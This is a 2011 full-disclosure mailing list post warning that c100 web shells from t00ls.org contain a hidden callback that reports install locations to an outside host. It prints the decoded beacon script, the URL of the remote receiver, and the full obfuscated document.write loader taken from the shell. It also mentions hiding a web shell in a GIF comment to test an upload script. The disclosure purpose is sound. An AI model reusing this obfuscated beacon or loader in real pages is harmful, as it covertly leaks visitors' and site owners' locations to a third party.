Date: Tue, 5 Apr 2011 17:24:51 -0700
From: Seanybob <seanybob@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Warning - t00ls.org hidden callback in shells

The c100 shell (and likely several of the shells) available at
t00ls.org(which is one of the top ranked sites for various
shell-related google
searches, e.g. "c99
php<http://www.google.com/search?hl=en&rlz=1C1CHFX_enUS372US372&q=c99+php&aq=f&aqi=g3g-v7&aql=&oq=>")
has a callback hidden within its code that contacts the site and lets them
know where you installed the c100 shell.

The backdoor code is obfuscated within the shell files (the
encoded/obfuscated version will be attached to the bottom of this post).
*Decoded, the backdoor script looks like this:*

<SCRIPT SRC=http://data.t00ls.org/where.js></SCRIPT>

*Contents of http://data.t00ls.org/where.js*

a=new/**/Image();a.src='
http://xmors.byethost7.com/him.php?a='+escape(location.href);

*http://xmors.byethost7.com/him.php receives the location of the installed
script, then writes it to http://xmors.byethost7.com/mynameisahmed..html*

The above page has lists of hundreds of sites that had the script installed.
You'll notice many people ran it on a localhost, causing the script to save
a localhost address.

I ran into the site after testing an upload script I had on hand by
embedding a c100 shell inside a GIF comment field. You'll see one of my
domains (social-paste.com) on that list - however, I immediately removed the
shell after I tested it. I became curious because I saw somebody from the
byethost7.com domain in my logs attempting to access the shell which I had
deleted, so I investigated. (His IP, for those curious to know, is
41.233.222.77, which seems to be from Cairo Egypt)

This guy's him.php script is likely vulnerable to XSS attacks (I bet it
writes the received variable straight into the html of the
mynameisahmed..html file without sanitizing it). I purposely didn't test it,
though.

*The encoded script hidden in the c100 file:*

<script type="text/javascript" language="javascript">
<!--
fF7eSD8=new Array();
fF7eSD8[0]="%3Cscript%3E%0Adocu";
fF7eSD8[1]="ment.write%28une";
fF7eSD8[2]="scape%28%22%253Cscri";
fF7eSD8[3]="pt%2520type%253D%25";
fF7eSD8[4]="22text/javascr";
fF7eSD8[5]="ipt%2522%253Edo";
fF7eSD8[6]="cument.write%25";
fF7eSD8[7]="28%2527%255Cu00";
fF7eSD8[8]="3c%255Cu0073%255C";
fF7eSD8[9]="u0063%255Cu0072";
fF7eSD8[10]="%255Cu0069%255Cu";
fF7eSD8[11]="0070%255Cu007";
fF7eSD8[12]="4%255Cu0020%255C";
fF7eSD8[13]="u0074%255Cu007";
fF7eSD8[14]="9%255Cu0070%255Cu";
fF7eSD8[15]="0065%255Cu003d%25";
fF7eSD8[16]="5Cu0022%255Cu0";
fF7eSD8[17]="074%255Cu0065%255C";
fF7eSD8[18]="u0078%255Cu0074%25";
fF7eSD8[19]="5Cu002f%255Cu";
fF7eSD8[20]="006a%255Cu0061%255";
fF7eSD8[21]="Cu0076%255Cu0";
fF7eSD8[22]="061%255Cu0073%25";
fF7eSD8[23]="5Cu0063%255Cu00";
fF7eSD8[24]="72%255Cu0069%25";
fF7eSD8[25]="5Cu0070%255Cu";
fF7eSD8[26]="0074%255Cu0022";
fF7eSD8[27]="%255Cu003e%255C";
fF7eSD8[28]="u0064%255Cu00";
fF7eSD8[29]="6f%255Cu0063%255C";
fF7eSD8[30]="u0075%255Cu006";
fF7eSD8[31]="d%255Cu0065%255Cu";
fF7eSD8[32]="006e%255Cu0074%255";
fF7eSD8[33]="Cu002e%255Cu00";
fF7eSD8[34]="77%255Cu0072%25";
fF7eSD8[35]="5Cu0069%255Cu";
fF7eSD8[36]="0074%255Cu0065%25";
fF7eSD8[37]="5Cu0028%255Cu002";
fF7eSD8[38]="7%255Cu005c%255Cu";
fF7eSD8[39]="0075%255Cu0030";
fF7eSD8[40]="%255Cu0030%255Cu0";
fF7eSD8[41]="033%255Cu0063%25";
fF7eSD8[42]="5Cu005c%255Cu007";
fF7eSD8[43]="5%255Cu0030%255Cu";
fF7eSD8[44]="0030%255Cu0035";
fF7eSD8[45]="%255Cu0033%255C";
fF7eSD8[46]="u005c%255Cu0075";
fF7eSD8[47]="%255Cu0030%255Cu";
fF7eSD8[48]="0030%255Cu003";
fF7eSD8[49]="4%255Cu0033%255";
fF7eSD8[50]="Cu005c%255Cu007";
fF7eSD8[51]="5%255Cu0030%255Cu";
fF7eSD8[52]="0030%255Cu0035%255";
fF7eSD8[53]="Cu0032%255Cu00";
fF7eSD8[54]="5c%255Cu0075%255C";
fF7eSD8[55]="u0030%255Cu0030%25";
fF7eSD8[56]="5Cu0034%255Cu00";
fF7eSD8[57]="39%255Cu005c%255Cu";
fF7eSD8[58]="0075%255Cu0030%255";
fF7eSD8[59]="Cu0030%255Cu003";
fF7eSD8[60]="5%255Cu0030%255C";
fF7eSD8[61]="u005c%255Cu0075";
fF7eSD8[62]="%255Cu0030%255Cu00";
fF7eSD8[63]="30%255Cu0035%255";
fF7eSD8[64]="Cu0034%255Cu005";
fF7eSD8[65]="c%255Cu0075%255C";
fF7eSD8[66]="u0030%255Cu0030%25";
fF7eSD8[67]="5Cu0032%255Cu";
fF7eSD8[68]="0030%255Cu005c%25";
fF7eSD8[69]="5Cu0075%255Cu00";
fF7eSD8[70]="30%255Cu0030%255";
fF7eSD8[71]="Cu0035%255Cu003";
fF7eSD8[72]="3%255Cu005c%255Cu0";
fF7eSD8[73]="075%255Cu0030";
fF7eSD8[74]="%255Cu0030%255Cu00";
fF7eSD8[75]="35%255Cu0032%25";
fF7eSD8[76]="5Cu005c%255Cu00";
fF7eSD8[77]="75%255Cu0030%255Cu";
fF7eSD8[78]="0030%255Cu003";
fF7eSD8[79]="4%255Cu0033%255Cu";
fF7eSD8[80]="005c%255Cu0075%25";
fF7eSD8[81]="5Cu0030%255Cu";
fF7eSD8[82]="0030%255Cu0033";
fF7eSD8[83]="%255Cu0064%255Cu0";
fF7eSD8[84]="05c%255Cu0075%25";
fF7eSD8[85]="5Cu0030%255Cu003";
fF7eSD8[86]="0%255Cu0036%255";
fF7eSD8[87]="Cu0038%255Cu0";
fF7eSD8[88]="05c%255Cu0075%255C";
fF7eSD8[89]="u0030%255Cu003";
fF7eSD8[90]="0%255Cu0037%255C";
fF7eSD8[91]="u0034%255Cu005c%25";
fF7eSD8[92]="5Cu0075%255Cu";
fF7eSD8[93]="0030%255Cu0030";
fF7eSD8[94]="%255Cu0037%255Cu";
fF7eSD8[95]="0034%255Cu005c%25";
fF7eSD8[96]="5Cu0075%255Cu00";
fF7eSD8[97]="30%255Cu0030%255Cu";
fF7eSD8[98]="0037%255Cu0030%255";
fF7eSD8[99]="Cu005c%255Cu00";
fF7eSD8[100]="75%255Cu0030%255";
fF7eSD8[101]="Cu0030%255Cu00";
fF7eSD8[102]="33%255Cu0061%255Cu";
fF7eSD8[103]="005c%255Cu0075";
fF7eSD8[104]="%255Cu0030%255C";
fF7eSD8[105]="u0030%255Cu0032%25";
fF7eSD8[106]="5Cu0066%255Cu00";
fF7eSD8[107]="5c%255Cu0075%255Cu";
fF7eSD8[108]="0030%255Cu0030%25";
fF7eSD8[109]="5Cu0032%255Cu0";
fF7eSD8[110]="066%255Cu005c";
fF7eSD8[111]="%255Cu0075%255Cu";
fF7eSD8[112]="0030%255Cu0030%25";
fF7eSD8[113]="5Cu0036%255Cu003";
fF7eSD8[114]="4%255Cu005c%255C";
fF7eSD8[115]="u0075%255Cu003";
fF7eSD8[116]="0%255Cu0030%255C";
fF7eSD8[117]="u0036%255Cu00";
fF7eSD8[118]="31%255Cu005c%255";
fF7eSD8[119]="Cu0075%255Cu00";
fF7eSD8[120]="30%255Cu0030%255Cu";
fF7eSD8[121]="0037%255Cu0034";
fF7eSD8[122]="%255Cu005c%255Cu00";
fF7eSD8[123]="75%255Cu0030%255C";
fF7eSD8[124]="u0030%255Cu003";
fF7eSD8[125]="6%255Cu0031%255";
fF7eSD8[126]="Cu005c%255Cu007";
fF7eSD8[127]="5%255Cu0030%255";
fF7eSD8[128]="Cu0030%255Cu0";
fF7eSD8[129]="032%255Cu0065";
fF7eSD8[130]="%255Cu005c%255C";
fF7eSD8[131]="u0075%255Cu0030%25";
fF7eSD8[132]="5Cu0030%255Cu003";
fF7eSD8[133]="7%255Cu0034%255Cu0";
fF7eSD8[134]="05c%255Cu0075%255C";
fF7eSD8[135]="u0030%255Cu00";
fF7eSD8[136]="30%255Cu0033%255C";
fF7eSD8[137]="u0030%255Cu005";
fF7eSD8[138]="c%255Cu0075%255Cu";
fF7eSD8[139]="0030%255Cu003";
fF7eSD8[140]="0%255Cu0033%255C";
fF7eSD8[141]="u0030%255Cu005";
fF7eSD8[142]="c%255Cu0075%255";
fF7eSD8[143]="Cu0030%255Cu0";
fF7eSD8[144]="030%255Cu0036%255C";
fF7eSD8[145]="u0063%255Cu005c";
fF7eSD8[146]="%255Cu0075%255C";
fF7eSD8[147]="u0030%255Cu00";
fF7eSD8[148]="30%255Cu0037%25";
fF7eSD8[149]="5Cu0033%255Cu00";
fF7eSD8[150]="5c%255Cu0075%255";
fF7eSD8[151]="Cu0030%255Cu00";
fF7eSD8[152]="30%255Cu0032%255";
fF7eSD8[153]="Cu0065%255Cu005c";
fF7eSD8[154]="%255Cu0075%255C";
fF7eSD8[155]="u0030%255Cu00";
fF7eSD8[156]="30%255Cu0036%255Cu";
fF7eSD8[157]="0066%255Cu005c%255";
fF7eSD8[158]="Cu0075%255Cu00";
fF7eSD8[159]="30%255Cu0030%255Cu";
fF7eSD8[160]="0037%255Cu0032%25";
fF7eSD8[161]="5Cu005c%255Cu007";
fF7eSD8[162]="5%255Cu0030%255C";
fF7eSD8[163]="u0030%255Cu0036%25";
fF7eSD8[164]="5Cu0037%255Cu00";
fF7eSD8[165]="5c%255Cu0075%255";
fF7eSD8[166]="Cu0030%255Cu0030";
fF7eSD8[167]="%255Cu0032%255Cu00";
fF7eSD8[168]="66%255Cu005c%255";
fF7eSD8[169]="Cu0075%255Cu0";
fF7eSD8[170]="030%255Cu0030%255C";
fF7eSD8[171]="u0037%255Cu0037";
fF7eSD8[172]="%255Cu005c%255Cu";
fF7eSD8[173]="0075%255Cu0030%25";
fF7eSD8[174]="5Cu0030%255Cu";
fF7eSD8[175]="0036%255Cu0038%255";
fF7eSD8[176]="Cu005c%255Cu007";
fF7eSD8[177]="5%255Cu0030%255";
fF7eSD8[178]="Cu0030%255Cu0036";
fF7eSD8[179]="%255Cu0035%255Cu00";
fF7eSD8[180]="5c%255Cu0075%255Cu";
fF7eSD8[181]="0030%255Cu003";
fF7eSD8[182]="0%255Cu0037%255C";
fF7eSD8[183]="u0032%255Cu00";
fF7eSD8[184]="5c%255Cu0075%255";
fF7eSD8[185]="Cu0030%255Cu0";
fF7eSD8[186]="030%255Cu0036%25";
fF7eSD8[187]="5Cu0035%255Cu0";
fF7eSD8[188]="05c%255Cu0075";
fF7eSD8[189]="%255Cu0030%255Cu0";
fF7eSD8[190]="030%255Cu0032";
fF7eSD8[191]="%255Cu0065%255Cu";
fF7eSD8[192]="005c%255Cu0075";
fF7eSD8[193]="%255Cu0030%255Cu00";
fF7eSD8[194]="30%255Cu0036%25";
fF7eSD8[195]="5Cu0061%255Cu";
fF7eSD8[196]="005c%255Cu007";
fF7eSD8[197]="5%255Cu0030%255";
fF7eSD8[198]="Cu0030%255Cu0037";
fF7eSD8[199]="%255Cu0033%255Cu0";
fF7eSD8[200]="05c%255Cu0075%255C";
fF7eSD8[201]="u0030%255Cu00";
fF7eSD8[202]="30%255Cu0033%255Cu";
fF7eSD8[203]="0065%255Cu005";
fF7eSD8[204]="c%255Cu0075%255Cu";
fF7eSD8[205]="0030%255Cu0030%25";
fF7eSD8[206]="5Cu0033%255Cu00";
fF7eSD8[207]="63%255Cu005c%255C";
fF7eSD8[208]="u0075%255Cu0030";
fF7eSD8[209]="%255Cu0030%255Cu0";
fF7eSD8[210]="032%255Cu0066%255";
fF7eSD8[211]="Cu005c%255Cu0";
fF7eSD8[212]="075%255Cu0030%25";
fF7eSD8[213]="5Cu0030%255Cu";
fF7eSD8[214]="0035%255Cu0033%255";
fF7eSD8[215]="Cu005c%255Cu007";
fF7eSD8[216]="5%255Cu0030%255Cu0";
fF7eSD8[217]="030%255Cu0034%255";
fF7eSD8[218]="Cu0033%255Cu00";
fF7eSD8[219]="5c%255Cu0075%25";
fF7eSD8[220]="5Cu0030%255Cu0";
fF7eSD8[221]="030%255Cu0035";
fF7eSD8[222]="%255Cu0032%255Cu0";
fF7eSD8[223]="05c%255Cu0075";
fF7eSD8[224]="%255Cu0030%255Cu";
fF7eSD8[225]="0030%255Cu0034%25";
fF7eSD8[226]="5Cu0039%255Cu0";
fF7eSD8[227]="05c%255Cu0075%25";
fF7eSD8[228]="5Cu0030%255Cu";
fF7eSD8[229]="0030%255Cu0035%25";
fF7eSD8[230]="5Cu0030%255Cu";
fF7eSD8[231]="005c%255Cu0075%255";
fF7eSD8[232]="Cu0030%255Cu0";
fF7eSD8[233]="030%255Cu0035";
fF7eSD8[234]="%255Cu0034%255Cu0";
fF7eSD8[235]="05c%255Cu0075";
fF7eSD8[236]="%255Cu0030%255Cu";
fF7eSD8[237]="0030%255Cu0033%255";
fF7eSD8[238]="Cu0065%255Cu0";
fF7eSD8[239]="027%255Cu0029";
fF7eSD8[240]="%255Cu003c%255C";
fF7eSD8[241]="u002f%255Cu0073%25";
fF7eSD8[242]="5Cu0063%255Cu007";
fF7eSD8[243]="2%255Cu0069%255Cu";
fF7eSD8[244]="0070%255Cu007";
fF7eSD8[245]="4%255Cu003e%2527%25";
fF7eSD8[246]="29%253C/script%25";
fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
fF7eSD8[248]="pt%3E";
for (i = 0; i < fF7eSD8.length; i ++)
{
document.write(unescape(fF7eSD8[i]))
}
// -->
</script>

Content of type "text/html" skipped

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